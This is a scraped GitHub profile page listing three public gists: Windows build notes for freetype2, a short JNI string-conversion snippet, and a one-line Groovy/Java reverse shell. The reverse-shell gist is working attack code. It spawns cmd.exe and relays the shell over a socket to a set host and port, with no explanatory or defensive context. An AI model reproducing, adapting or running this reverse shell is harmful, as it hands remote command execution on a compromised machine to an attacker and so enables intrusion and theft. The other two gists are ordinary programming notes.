Skip to content

Instantly share code, notes, and snippets.

View Crystallinqq's full-sized avatar
📭

qq is dead Crystallinqq

📭
View GitHub Profile
@xiongjia
xiongjia / building-freetype2.md
Last active March 23, 2021 15:21
Building freetype2 on Windows #devnotes

Purpose

Building the freetype Windows 32 DLL & LIB for the Windows OpenJDK Compiling.

Get the freetype source code

Updating the Freetype Visual Studio solution settings

The default Windows building VS solution is "/builds/windows/vc2010/freetype.sln" (I built it via Visual Studio 2015).

@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@MaximAlien
MaximAlien / JStringToCharPtr
Created April 29, 2015 15:27
[Android] [JNI] Convert jstring to char *
JNIEXPORT void JNICALL method_name
(JNIEnv *env, jobject obj, jstring jstr)
{
const char* ch = env->GetStringUTFChars(jstr, 0);
env->ReleaseStringUTFChars(jstr, ch);
}